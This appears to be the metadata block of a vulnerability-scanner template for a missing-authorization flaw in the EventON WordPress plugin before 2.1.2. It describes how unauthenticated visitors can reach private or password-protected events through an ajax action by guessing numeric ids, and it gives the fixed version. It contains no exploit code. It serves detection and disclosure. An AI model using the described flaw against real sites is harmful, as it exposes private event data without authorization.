info:
  name: EventON <= 2.1 - Missing Authorization
  author: randomrobbie
  severity: medium
  description: |
    The EventON WordPress plugin before 2.1.2 lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.
  impact: |
    Unauthenticated users can perform privileged actions, potentially leading to unauthorized access or modification of events.
  remediation: Fixed in version 2.1.2
